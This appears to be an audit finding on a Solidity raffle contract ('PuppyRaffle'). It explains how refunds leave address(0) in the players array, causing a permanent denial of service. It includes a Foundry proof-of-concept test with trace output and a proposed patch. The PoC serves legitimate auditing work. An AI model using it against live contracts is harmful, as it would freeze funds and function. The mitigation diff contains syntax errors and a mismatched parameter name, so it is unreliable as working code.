When a player calls PuppyRaffle::refund
, if successful, the player's address is replaced with address(0)
in the player
array. This means that address(0)
now has a seat in the raffle and therefore a non-zero chance of winning. If all players in the raffle refund, then address(0)
has a 100% chance of winning. Since address(0)
cannot receive ERC-721 tokens, selectWinner()
will revert, this will result in a permanent state of DoS since new players, who can receive NFTs, can call enterRaffle()
due to the duplicated address(0)
players
array element (see issue: "Denial of service in PuppyRaffle::enterRaffle
if >= 2 refunds have occurred" for more details)
Vulnerability Details
In PuppyRffle::refund
, on line 103, the refunding address is replaced with address(0)
in the players
array when a player refunds:
players[playerIndex] = address(0);
When selectWinner()
is subsequently called, there is a chance that none of the players will win as address(0)
can now win the lottery. If all players call refund()
, address(0)
has a 100% chance of winning. Since address(0)
cannot receive ERC-721 tokens, selectWinner()
will revert (see issue: "Deterministic value for the rarity
of the winner's NFT due to bad randomness in PuppyRaffle::selectWinner
") resulting in a permanent state of DoS
Impact
address(0)
can win the raffle. There is also a situation in which no one can win the raffle since four players enter, all four call refund()
meaning that no other players can enter (see issue "Denial of service in PuppyRaffle::enterRaffle
if > 2 refunds have occurred"). selectWinner()
can still be called but address(0)
has 100% chance of winning since it occupies every seat in the raffle and this will result in a DoS as address(0)
cannot receive funds. This is a permanent state of DoS since address(0)
will win every time but selectWinner()
will always revert. No one else can enter the raffle, no one can ever win, meaning that the contract can no longer function. This is, therefore, a high-severity vulnerability as the likelihood of all players
refunding at any point during the lottery, especially at the start, is high.
Proof of Concept
Working Test Case
The following test demonstrates that if four players enter the raffle and all four call refund()
, the winner of the raffle will always be address(0)
, enterRaffle()
will revert, and selectWinner()
will revert:
function test_poc_zeroAddressWinLottery() public playersEntered {
address[] memory players = new address[](2);
players[0] = playerThree;
players[1] = playerTwo;
for (uint256 i = 0; i < 4; i++) {
address player = address(i+1);
vm.prank(player);
puppyRaffle.refund(i);
}
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
puppyRaffle.selectWinner();
vm.expectRevert("PuppyRaffle: Duplicate player");
puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
}
As expected, the test passes, demonstrating that the contract can no longer function as expected and enterRaffle()
and selectWinner()
are in a permanent state of DoS:
$ forge test --mt test_poc_zeroAddressWinLottery -vvvv
// output
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] test_poc_zeroAddressWinLottery() (gas: 337416)
Traces:
[341628] PuppyRaffleTest::test_poc_zeroAddressWinLottery()
├─ [121273] PuppyRaffle::enterRaffle{value: 4000000000000000000}([0x0000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000002, 0x0000000000000000000000000000000000000003, 0x0000000000000000000000000000000000000004])
│ ├─ emit RaffleEnter(newPlayers: [0x0000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000002, 0x0000000000000000000000000000000000000003, 0x0000000000000000000000000000000000000004])
│ └─ ← ()
├─ [0] VM::prank(0x0000000000000000000000000000000000000001)
│ └─ ← ()
├─ [29749] PuppyRaffle::refund(0)
│ ├─ [3000] PRECOMPILE::ecrecover{value: 1000000000000000000}()
│ │ └─ ←
│ ├─ emit RaffleRefunded(player: 0x0000000000000000000000000000000000000001)
│ └─ ← ()
├─ [0] VM::prank(0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [27458] PuppyRaffle::refund(1)
│ ├─ [60] PRECOMPILE::sha256{value: 1000000000000000000}()
│ │ └─ ← 0xe3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
│ ├─ emit RaffleRefunded(player: 0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [0] VM::prank(0x0000000000000000000000000000000000000003)
│ └─ ← ()
├─ [27890] PuppyRaffle::refund(2)
│ ├─ [600] PRECOMPILE::ripemd{value: 1000000000000000000}()
│ │ └─ ← 0x0000000000000000000000009c1185a5c5e9fc54612808977ee8f548b2258d31
│ ├─ emit RaffleRefunded(player: 0x0000000000000000000000000000000000000003)
│ └─ ← ()
├─ [0] VM::prank(0x0000000000000000000000000000000000000004)
│ └─ ← ()
├─ [27361] PuppyRaffle::refund(3)
│ ├─ [15] PRECOMPILE::identity{value: 1000000000000000000}()
│ │ └─ ←
│ ├─ emit RaffleRefunded(player: 0x0000000000000000000000000000000000000004)
│ └─ ← ()
├─ [0] VM::warp(86402 [8.64e4])
│ └─ ← ()
├─ [0] VM::roll(2)
│ └─ ← ()
├─ [0] VM::expectRevert(PuppyRaffle: Failed to send prize pool to winner)
│ └─ ← ()
├─ [60652] PuppyRaffle::selectWinner()
│ ├─ [0] 0x0000000000000000000000000000000000000000::fallback{value: 3200000000000000000}()
│ │ └─ ← "EvmError: OutOfFund"
│ └─ ← "PuppyRaffle: Failed to send prize pool to winner"
├─ [0] VM::expectRevert(PuppyRaffle: Duplicate player)
│ └─ ← ()
├─ [46757] PuppyRaffle::enterRaffle{value: 2000000000000000000}([0x0000000000000000000000000000000000000003, 0x0000000000000000000000000000000000000002])
│ └─ ← "PuppyRaffle: Duplicate player"
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.39ms
Recommended Mitigation
To mitigate this issue, include a second array that contains a mapping of address
to boolean
determining whether the player is active or not and set this boolean
when calling refund()
rather than setting the refunding address to address(0)
:
+ mapping(address->bool) activityStatus;
function enterRaffle(address[] memory newPlayers) public payable {
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
+ require(activityStatus(newPlayers[i]) == false, "Player already exists)
activityStatus[newPlayers[i]] = true;
players.push(newPlayers[i]);
}
- for (uint256 i = 0; i < players.length - 1; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
- require(players[i] != players[j], "PuppyRaffle: Duplicate player");
- }
- }
emit RaffleEnter(newPlayers);
}
To refund()
, the activityStatus
will be set to false
for the refunding address.
Since getActivePlayerIndex()
is only used externally so that the value can be used to call refund()
, getActivePlayerIndex()
can be removed and refund()
modified to take an address:
+ function refund(address playeraddress) public {
- address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
+ require(activityStatus[playerAddress] == true, "PuppyRaffle: Player already refunded, or is not active");
- players[playerIndex] = address(0);
+ activityStatus[playerAddress] = false;
+ payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}
When drawing the winner, the players
activity status can be checked, and only allow active players to be drawn as the winner
.
Tools Used